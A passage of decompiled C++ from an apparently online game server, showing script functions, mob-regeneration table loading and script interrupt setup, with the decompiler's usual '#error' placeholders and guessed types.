&& (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v13 + 1136))(v13) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v13 + 1860))(v13) ) { v14 = 28 * (unsigned __int8)*v8; v8[5] = i; *(_DWORD *)(v8 + 14) = *(_DWORD *)(v12 + 8); *(_DWORD *)(v8 + 6) = *(_DWORD *)v12; v15 = v14 + 20; *(_DWORD *)(v8 + 10) = *(_DWORD *)(v12 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v15) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 764))(v13); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v13, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate : Packet Too Long", v15); } v10 = v23; } v12 += 28; v18 = __OFSUB__(i + 1, v10); v17 = i++ + 1 - v10 < 0; basepointa += 48; } while ( v17 ^ v18 ); } *(_DWORD *)&alkqr = &AxialListKQResult::_vftable_; LOBYTE(v30) = 4; _eh_vector_destructor_iterator_( &ptr, 0x30u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v30) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alkqr); LOBYTE(v30) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"); __security_check_cookie(v29); return result; } // 5B1F08: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004A7C90) -------------------------------------------------------- #error "4A7C90: undefined or illegal type '#592' (funcsize=203)" //----- (004A7FC0) -------------------------------------------------------- #error "4A7FC0: undefined or illegal type '#592' (funcsize=108)" //----- (004A81A0) -------------------------------------------------------- #error "4A81A0: undefined or illegal type '#592' (funcsize=108)" //----- (004A8380) -------------------------------------------------------- void __cdecl std::random_shuffle>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last) { if ( _First != _Last ) std::_Random_shuffle>::iterator_int>( (std::vector >::iterator)_First, (std::vector >::iterator)_Last, 0); } //----- (004A83A0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004A8410) -------------------------------------------------------- void __thiscall std::vector>::_Construct_n(std::vector > *this, unsigned int _Count, const int *_Val) { unsigned int v3; // edi@1 std::vector > *v4; // esi@1 void *v5; // eax@4 void *v6; // ecx@4 v3 = _Count; v4 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Count ) { if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen(this); v5 = operator new(4 * _Count); v4->_Myend = (int *)((char *)v5 + 4 * _Count); v4->_Myfirst = (int *)v5; v4->_Mylast = (int *)v5; v6 = v5; if ( _Count > 0 ) { do { *(_DWORD *)v6 = *_Val; v6 = (char *)v6 + 4; --v3; } while ( v3 ); } v4->_Mylast = (int *)((char *)v5 + 4 * _Count); } } //----- (004A8480) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRange::sfb_Calculate(PineEventScriptNode::SysFuncShineRange *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 int v5; // ebx@3 PineScriptToken *v6; // eax@3 PineScriptToken *v7; // eax@5 unsigned __int16 v8; // ax@5 void *v9; // ebx@5 std::vector >::iterator v10; // edi@5 int *i; // esi@12 PineScriptToken *v12; // eax@13 PineScriptToken *result; // eax@17 int from; // [sp+10h] [bp-238h]@3 int _Val; // [sp+14h] [bp-234h]@5 int to; // [sp+18h] [bp-230h]@5 FunctionEntarance _; // [sp+1Ch] [bp-22Ch]@1 char numberVector; // [sp+20h] [bp-228h]@5 void *_First; // [sp+24h] [bp-224h]@5 std::vector >::iterator _Last; // [sp+28h] [bp-220h]@5 PineScriptToken token; // [sp+30h] [bp-218h]@1 PineScriptToken thisa; // [sp+130h] [bp-118h]@5 unsigned int cookie; // [sp+234h] [bp-14h]@17 int v24; // [sp+244h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v24) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Argument err", 0) ) { PineScriptToken::pst_Clear(buffer); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); } else { v5 = PineScriptToken::pst_GetNumber(&token, 0); from = v5; v6 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); if ( ps_assert(v6 != 0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Argument err", 0) ) { PineScriptToken::pst_Clear(buffer); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); } else { to = PineScriptToken::pst_GetNumber(&token, 0); _Val = 0; std::vector>::_Construct_n( (std::vector > *)&numberVector, to - v5 + 1, &_Val); LOBYTE(v24) = 2; v7 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); memcpy(&thisa, PineScriptToken::pst_ToLower(v7), sizeof(thisa)); LOBYTE(v24) = 3; v8 = PineScriptToken::operator__(&thisa, "asc"); v9 = _First; v10 = _Last; if ( v8 ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)_First, _Last, (ArrGen)__PAIR__(1, from)); } else { if ( PineScriptToken::operator__(&thisa, "desc") ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)v9, v10, (ArrGen)__PAIR__(-1, to)); } else { if ( PineScriptToken::operator__(&thisa, "shuffle") ) { std::generate>::iterator_ArrGen>( (std::vector >::iterator)v9, v10, (ArrGen)__PAIR__(1, from)); std::random_shuffle>::iterator>( (std::vector >::iterator)v9, v10); } else { ps_assert(0, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate : Invalid order", 0); } } } LOBYTE(v24) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); for ( i = (int *)v9; i != (int *)v10; ++i ) { v12 = PineScriptToken::pst_MergeNumber(buffer, *i); PineScriptToken::pst_MergeString(v12, (char *)&stru_598DE4); } if ( v9 ) operator delete(v9); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineRange::sfb_Calculate"); } } __security_check_cookie(cookie); return result; } //----- (004A87A0) -------------------------------------------------------- void __thiscall DropItemStruct::ItemGroup::ItemGroup(ORKeyList::KeyElement *this) { *(_QWORD *)&this->key.ort_Name[12] = 0i64; *(_QWORD *)&this->key.ort_Name[4] = 0i64; *(_DWORD *)&this->key.ort_Name[0] = 0; } //----- (004A87C0) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::_PineScriptMobRegenerator(PineScriptMobRegenerator *this) { BTree::_BTree(&this->psmr_btree); } //----- (004A87D0) -------------------------------------------------------- int __thiscall MobRegenStruct::RegenMobStruct::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 signed int v4; // ebp@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); v3 = this + 20; v4 = 33; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); *(_BYTE *)(this + 53) = *(_BYTE *)(a2 + 53); *(_BYTE *)(this + 54) = *(_BYTE *)(a2 + 54); memcpy((void *)(this + 55), (const void *)(a2 + 55), 0x30u); return result; } //----- (004A8830) -------------------------------------------------------- OptionReader *__thiscall KQRegenTable::operator__(KQRegenTable *this, const char *map) { KQRegenTable *v2; // esi@1 OptionReader *result; // eax@1 char key[4]; // [sp+4h] [bp-14h]@1 int v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+Ch] [bp-Ch]@1 v2 = this; KQRegenTable::Element::Element((KQRegenTable::Element *)key); v6 = 0; v5 = 0; *(_DWORD *)key = 0; strncpy(key, map, 0xCu); result = (OptionReader *)bsearch(key, v2, v2->kqrt_Number, 0x10u, KQRegenTable::Element::Comp); if ( result ) result = *(OptionReader **)&result->or_Argument.delimiter.ord_Array[0]; return result; } //----- (004A88C0) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::RegenStruct::RegenStruct(PineScriptMobRegenerator::RegenStruct *this) { PineScriptMobRegenerator::RegenStruct *v1; // esi@1 v1 = this; DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)this); DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)&v1->rs_data); } //----- (004A88E0) -------------------------------------------------------- char *__thiscall PineScriptMobRegenerator::psmr_makeindex(PineScriptMobRegenerator *this, char *buffer, const char *map, const char *index) { const char *v4; // edx@1 const char v5; // cl@1 char *i; // eax@1 const char *v7; // edx@3 const char v8; // cl@3 int j; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_makeindex"); v4 = map; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_makeindex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *map; for ( i = buffer; v5; ++v4 ) { *i = v5; v5 = v4[1]; ++i; } v7 = index; *i = 58; v8 = *index; for ( j = (int)(i + 1); v8; ++v7 ) { *(_BYTE *)j = v8; v8 = v7[1]; ++j; } *(_BYTE *)j = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_makeindex"); return buffer; } //----- (004A8970) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::PineScriptMobRegenerator(PineScriptMobRegenerator *this) { PineScriptMobRegenerator *v1; // esi@1 void *v2; // eax@1 int v3; // edi@2 v1 = this; BTree::BTree(&this->psmr_btree); v1->psmr_maxbuffer = 1024; v2 = operator new__(0x24004u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 1024; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x90u, 1024, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::RegenStruct, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } else { v3 = 0; } v1->psmr_struct = (PineScriptMobRegenerator::RegenStruct *)v3; v1->psmr_curbuffer = 0; } //----- (004A8A10) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::psmr_Store(PineScriptMobRegenerator *this, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *rgs, char *index) { PineScriptMobRegenerator *v4; // ebp@1 unsigned __int16 v5; // ax@1 void *v6; // ebx@1 int v7; // esi@2 void *v8; // eax@2 unsigned __int16 v9; // ax@4 void *v10; // eax@6 void *v11; // esi@7 unsigned __int16 v12; // dx@8 int v13; // eax@9 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->psmr_maxbuffer; v6 = 0; if ( v5 > v4->psmr_curbuffer ) { LABEL_9: MobRegenStruct::RegenMobStruct::operator_((int)&v4->psmr_struct[v4->psmr_curbuffer].rs_data, (int)data); v13 = (int)&v4->psmr_struct[v4->psmr_curbuffer]; *(_QWORD *)v13 = *(_QWORD *)&rgs->rgs_groupname.ort_Name[0]; *(_QWORD *)(v13 + 8) = *(_QWORD *)&rgs->rgs_groupname.ort_Name[8]; *(_DWORD *)(v13 + 16) = *(_DWORD *)&rgs->rgs_groupname.ort_Name[16]; *(_BYTE *)(v13 + 20) = rgs->rgs_family; v13 += 21; *(_DWORD *)v13 = rgs->rgs_regreg.rgs_CenterX; *(_DWORD *)(v13 + 4) = rgs->rgs_regreg.rgs_CenterY; *(_DWORD *)(v13 + 8) = rgs->rgs_regreg.rgs_Width; *(_DWORD *)(v13 + 12) = rgs->rgs_regreg.rgs_Height; *(_DWORD *)(v13 + 16) = rgs->rgs_regreg.rgs_Rotate; BTree::bt_Insert(&v4->psmr_btree, index, v4->psmr_curbuffer++); goto LABEL_10; } v7 = 2 * v5; v8 = operator new__(288 * v5 + 4); if ( v8 ) { v6 = (char *)v8 + 4; *(_DWORD *)v8 = v7; _eh_vector_constructor_iterator_( (char *)v8 + 4, 0x90u, v7, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::RegenStruct, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } v9 = v4->psmr_maxbuffer; if ( v6 ) { memcpy(v6, v4->psmr_struct, 144 * v9); v10 = v4->psmr_struct; if ( v4->psmr_struct ) { v11 = (char *)v10 - 4; _eh_vector_destructor_iterator_( v10, 0x90u, *((_DWORD *)v10 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v11); } v12 = 2 * v4->psmr_maxbuffer; v4->psmr_struct = (PineScriptMobRegenerator::RegenStruct *)v6; v4->psmr_maxbuffer = v12; goto LABEL_9; } AssertClass::ac_AssertFail(&shineassert, "PineScriptMobRegenerator::psmr_Store : Memory overflow", v9); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Store"); } //----- (004A8BF0) -------------------------------------------------------- char __thiscall PineScriptMobRegenerator::psmr_Load(PineScriptMobRegenerator *this, const char *map) { PineScriptMobRegenerator *v2; // ebp@1 OptionReader *v3; // ebx@1 void *v4; // eax@4 MobRegenStruct::RegenMobStruct *v5; // edi@4 char *v6; // eax@5 char *v7; // eax@5 void *v8; // eax@6 char result; // al@11 ORToken v10; // [sp-20h] [bp-14Ch]@6 int v11; // [sp-1Ch] [bp-148h]@6 ORToken v12; // [sp-18h] [bp-144h]@4 int v13; // [sp-14h] [bp-140h]@4 int v14; // [sp-10h] [bp-13Ch]@4 char *v15; // [sp-Ch] [bp-138h]@4 char *v16; // [sp-8h] [bp-134h]@4 int v17; // [sp-4h] [bp-130h]@4 int i; // [sp+10h] [bp-11Ch]@3 ORToken *v19; // [sp+14h] [bp-118h]@4 FunctionEntarance _; // [sp+18h] [bp-114h]@1 char buf[128]; // [sp+1Ch] [bp-110h]@5 char buffer[128]; // [sp+9Ch] [bp-90h]@5 unsigned int cookie; // [sp+11Ch] [bp-10h]@11 int v24; // [sp+128h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "PineScriptMobRegenerator::psmr_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; v3 = KQRegenTable::operator__(&kqregentable, map); if ( v3 ) { for ( i = 0; ; ++i ) { while ( 1 ) { v17 = i; v19 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "MobRegen", 0x14u); v4 = OptionReader::or_SelectFromOrder(v3, v12, v17); v5 = (MobRegenStruct::RegenMobStruct *)v4; if ( !v4 ) { --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); goto LABEL_11; } v6 = ORToken::ort_GetString((ORToken *)v4, buf); v7 = PineScriptMobRegenerator::psmr_makeindex(v2, buffer, map, v6); if ( BTree::operator__(&v2->psmr_btree, v7) == -1 ) break; LABEL_9: ++i; } v17 = 0; v16 = buf; v15 = "GroupIndex"; v19 = &v10; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; v11 = 0; *(_DWORD *)&v10.ort_Name[0] = 0; strncpy(v10.ort_Name, "MobRegenGroup", 0x14u); v8 = OptionReader::or_SelectFrom(v3, v10, v15, v16, v17); if ( v8 != 0 ) { PineScriptMobRegenerator::psmr_Store(v2, v5, (MobRegenStruct::RegenGroupStruct *)v8, buffer); goto LABEL_9; } AssertClass::ac_AssertFail(&shineassert, "PineScriptMobRegenerator::psmr_Load : Group name not found", buf); } } --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); LABEL_11: __security_check_cookie(cookie); return result; } //----- (004A8DE0) -------------------------------------------------------- PineScriptMobRegenerator::RegenStruct *__thiscall PineScriptMobRegenerator::psmr_find(PineScriptMobRegenerator *this, const char *map, const char *index) { PineScriptMobRegenerator *v3; // esi@1 char *v4; // eax@1 unsigned int v5; // eax@1 char *v6; // eax@4 unsigned int v7; // eax@4 PineScriptMobRegenerator::RegenStruct *result; // eax@8 char buffer[128]; // [sp+14h] [bp-90h]@1 unsigned int v10; // [sp+94h] [bp-10h]@8 int v11; // [sp+A0h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_find"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v4 = PineScriptMobRegenerator::psmr_makeindex(v3, buffer, map, index); v5 = BTree::operator__(&v3->psmr_btree, v4); if ( v5 == -1 || v5 >= v3->psmr_curbuffer ) PineScriptMobRegenerator::psmr_Load(v3, map); v6 = PineScriptMobRegenerator::psmr_makeindex(v3, buffer, map, index); v7 = BTree::operator__(&v3->psmr_btree, v6); if ( v7 == -1 || v7 >= v3->psmr_curbuffer ) { v11 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); } else { v11 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); } __security_check_cookie(v10); return result; } //----- (004A8F30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, int interval, PineScriptToken *eventblock, int num, char flag) { ScriptInterrupt::ScriptInterruptArgument *v6; // esi@1 unsigned int v7; // eax@3 v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(this, intindex, &si_Interval, eventblock, num); if ( v6 ) { switch ( flag ) { case 109: v7 = ((signed int)((unsigned __int64)(10 * interval * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * interval * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); goto LABEL_7; case 83: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = 10 * interval; break; case 77: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = 600 * interval; break; case 72: v7 = 36000 * interval; LABEL_7: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = v7; break; default: break; } *(_DWORD *)&v6->sib_Argument.area.areaname[4] = clockwatch.cw_CurrTick + *(_DWORD *)&v6->sib_Argument.area.areaname[0]; } } //----- (004A9010) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, char *mobindex, PineScriptToken *eventblock, int num) { ScriptInterrupt::ScriptInterruptArgument *v5; // edi@1 char nm[4]; // [sp+8h] [bp-40h]@2 int v7; // [sp+Ch] [bp-3Ch]@2 int v8; // [sp+10h] [bp-38h]@2 int v9; // [sp+14h] [bp-34h]@2 int v10; // [sp+18h] [bp-30h]@2 int v11; // [sp+1Ch] [bp-2Ch]@2 int v12; // [sp+20h] [bp-28h]@2 int v13; // [sp+24h] [bp-24h]@2 char thisa[4]; // [sp+28h] [bp-20h]@2 int v15; // [sp+2Ch] [bp-1Ch]@2 int v16; // [sp+30h] [bp-18h]@2 int v17; // [sp+34h] [bp-14h]@2 int v18; // [sp+38h] [bp-10h]@2 int v19; // [sp+3Ch] [bp-Ch]@2 int v20; // [sp+40h] [bp-8h]@2 int v21; // [sp+44h] [bp-4h]@2 v5 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(this, intindex, &si_ObjectDeadIndex, eventblock, num); if ( v5 ) { v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)nm = 0; strncpy(nm, mobindex, 0x20u); v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)thisa = 0; strncpy(thisa, "_NONE_", 0x20u); if ( Name8::operator__((Name8 *)thisa, (Name8 *)nm) ) { *(_DWORD *)&v5->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[0] = 0; strncpy(v5->sib_Argument.area.areaname, mobindex, 0x20u); v5->sib_Argument.area.player = 0; } else { v5->sib_Argument.area.player = -1; } } } //----- (004A9100) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex) { ScriptInterrupt::ScriptInterruptManager *v2; // esi@1 PineScriptToken eventblock; // [sp+4h] [bp-110h]@1 unsigned int v4; // [sp+104h] [bp-10h]@1 int v5; // [sp+110h] [bp-4h]@1 v2 = this; PineScriptToken::pst_Clear(&eventblock); v5 = 0; ScriptInterrupt::ScriptInterruptManager::sim_Alloc( v2, intindex, &si_Admin, &eventblock, (int)&wholesaver.ws_savestore[23].gapf2b8[6687]); v5 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&eventblock); __security_check_cookie(v4); } //----- (004A91A0) -------------------------------------------------------- #error "4A91A0: undefined or illegal type '#331' (funcsize=13)" //----- (004A91D0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptAreaEntry(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_AreaEntry, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004A9240) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptAreaLeave(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_AreaLeave, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004A92B0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_NPCClickHandle, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004A9300) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_NPCClickIndex, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004A9370) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickAny(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_NPCClickAny, exp, num); } //----- (004A93A0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTimeInterval(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num, char flag) { Movie::Theater *v5; // esi@1 int v6; // eax@1 v5 = this; v6 = PineScriptToken::pst_GetNumber(exp, 0); ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval( &v5->t_InterruptManager, index, v6, exp + 1, num, flag); } //----- (004A93E0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPLow(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // edi@1 int v5; // ebx@1 __int16 v6; // bp@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; v5 = 